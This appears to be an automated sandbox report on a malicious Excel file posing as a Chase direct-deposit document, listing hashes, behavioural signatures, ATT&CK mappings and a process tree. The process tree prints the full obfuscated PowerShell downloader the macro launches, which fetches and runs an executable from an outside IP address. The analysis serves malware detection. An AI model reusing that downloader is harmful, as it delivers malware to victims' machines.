4816d1e51c489e591d7d3d9aeba4cb7a494a97f27bba7a90d45bbe0e1b85a829

General

Target

Chase Direct Deposit.xls
Size

116KB
MD5

89da2874a518638c7f5ec30a286f4167
SHA1

c766aba3be2f450a8059b4754fed706730321f4d
SHA256

4816d1e51c489e591d7d3d9aeba4cb7a494a97f27bba7a90d45bbe0e1b85a829
SHA512

390e3e89026436fff0fa646cc111df980cc5f5ef29b4c3ee1f857de426e643d10bf77f469424ab17a500dd8b575d62af5dea34d42c36a6ab905674c04797c21d

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3188	4020	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

16 3188 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

bill.exebill.exe

pid process

3500 bill.exe
1680 bill.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4540 1680 WerFault.exe bill.exe

flow	pid	process
16	3188	powershell.exe

pid	process
3500	bill.exe
1680	bill.exe

pid	pid_target	process	target process
4540	1680	WerFault.exe	bill.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4020 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 18 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
3188	powershell.exe
3188	powershell.exe
3188	powershell.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe
4540	WerFault.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeWerFault.exe

description	pid	process
Token: SeDebugPrivilege	3188	powershell.exe
Token: SeRestorePrivilege	4540	WerFault.exe
Token: SeBackupPrivilege	4540	WerFault.exe
Token: SeDebugPrivilege	4540	WerFault.exe

Suspicious use of SetWindowsHookEx 30 IoCs

Processes:

EXCEL.EXE

pid	process
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE
4020	EXCEL.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

EXCEL.EXEpowershell.exebill.exe

description	pid	process	target process
PID 4020 wrote to memory of 3188	4020	EXCEL.EXE	powershell.exe
PID 4020 wrote to memory of 3188	4020	EXCEL.EXE	powershell.exe
PID 3188 wrote to memory of 3500	3188	powershell.exe	bill.exe
PID 3188 wrote to memory of 3500	3188	powershell.exe	bill.exe
PID 3188 wrote to memory of 3500	3188	powershell.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe
PID 3500 wrote to memory of 1680	3500	bill.exe	bill.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Chase Direct Deposit.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v78df0=(00100100,01110111,01100101,00110010,00110010,00111101,00100111,00101000,01001110,01100101,01110111,00101101,01001111,01100010,01101010,01100101,00100111,00100000,00101011,00100000,00100111,01100011,01110100,00100000,01001110,01100101,01110100,00101110,01010111,01100101,00100111,00111011,00100000,00100100,01100010,00110100,01100100,01100110,00111101,00100111,01100010,01000011,01101100,00100111,00100000,00101011,00100000,00100111,01101001,01100101,01101110,01110100,00101001,00101110,01000100,01101111,01110111,01101110,01101100,01101111,00100111,00111011,00100000,00100100,01100011,00110011,00111101,00100111,01100001,01100100,01000110,01101001,01101100,01100101,00101000,00100111,00100111,01101000,01110100,01110100,01110000,00111010,00101111,00101111,00110001,00111001,00111000,00101110,00110010,00110011,00101110,00110010,00110101,00110001,00101110,00110001,00110001,00110000,00101111,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00100111,00101100,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100111,00100111,01011100,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00100111,00101001,00100111,00111011,00111011,00100100,01010100,01000011,00111101,00100100,01110111,01100101,00110010,00110010,00101100,00100100,01100010,00110100,01100100,01100110,00101100,00100100,01100011,00110011,00100000,00101101,01001010,01101111,01101001,01101110,00100000,00100111,00100111,00111011,01001001,01000101,01011000,00101000,00100100,01010100,01000011,00101001,00111011,01110011,01110100,01100001,01110010,01110100,00101101,01110000,01110010,01101111,01100011,01100101,01110011,01110011,00101000,00100100,01100101,01101110,01110110,00111010,01110100,01100101,01101101,01110000,00101011,00100000,00100111,01011100,01100010,01101001,01101100,01101100,00101110,01100101,01111000,01100101,00100111,00101001) | %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };[system.String]::Join('', $v78df0)|IEX
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3188

C:\Users\Admin\AppData\Local\Temp\bill.exe
"C:\Users\Admin\AppData\Local\Temp\bill.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3500

C:\Users\Admin\AppData\Local\Temp\bill.exe
C:\Users\Admin\AppData\Local\Temp\bill.exe
4⤵
- Executes dropped EXE
PID:1680

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1680 -s 540
5⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bill.exe
MD5
27ee757d743631d49dcb3c6d7c90dfbe

SHA1
2b356d2090ea481e38fdf1e78dac05b74c4818f0

SHA256
dc1bb96ddee60e15d3344fc4b0413634a54974ef9e854628157800c9d695f028

SHA512
871222583adde8b8f469dba61dfa8a25df04d7c3f9eb3867441928898df7c7bc92ecaa6aa8619d78c604589637670d4f732294d574a748aa9fdf0294aeff08e1

Download Submit
memory/1680-317-0x00000000001C0000-0x00000000001C1000-memory.dmp

Filesize
4KB

Download
memory/1680-312-0x0000000000000000-mapping.dmp

Download
memory/1680-318-0x0000000000030000-0x0000000000031000-memory.dmp

Filesize
4KB

Download
memory/1680-319-0x0000000000600000-0x000000000074A000-memory.dmp

Filesize
1.3MB

Download
memory/3188-292-0x000001A2B9783000-0x000001A2B9785000-memory.dmp

Filesize
8KB

Download
memory/3188-276-0x0000000000000000-mapping.dmp

Download
memory/3188-286-0x000001A2B9750000-0x000001A2B9751000-memory.dmp

Filesize
4KB

Download
memory/3188-289-0x000001A2B9A10000-0x000001A2B9A11000-memory.dmp

Filesize
4KB

Download
memory/3188-293-0x000001A2B9786000-0x000001A2B9788000-memory.dmp

Filesize
8KB

Download
memory/3188-291-0x000001A2B9780000-0x000001A2B9782000-memory.dmp

Filesize
8KB

Download
memory/3500-310-0x0000000000510000-0x000000000065A000-memory.dmp

Filesize
1.3MB

Download
memory/3500-306-0x0000000000000000-mapping.dmp

Download
memory/3500-314-0x0000000010410000-0x000000001042B000-memory.dmp

Filesize
108KB

Download
memory/4020-290-0x0000025371640000-0x0000025371644000-memory.dmp

Filesize
16KB

Download
memory/4020-123-0x000002535D450000-0x000002535F345000-memory.dmp

Filesize
31.0MB

Download
memory/4020-121-0x00007FF8E9220000-0x00007FF8EA30E000-memory.dmp

Filesize
16.9MB

Download
memory/4020-114-0x00007FF69DE00000-0x00007FF6A13B6000-memory.dmp

Filesize
53.7MB

Download
memory/4020-122-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/4020-118-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/4020-117-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/4020-116-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download
memory/4020-115-0x00007FF8C8B00000-0x00007FF8C8B10000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads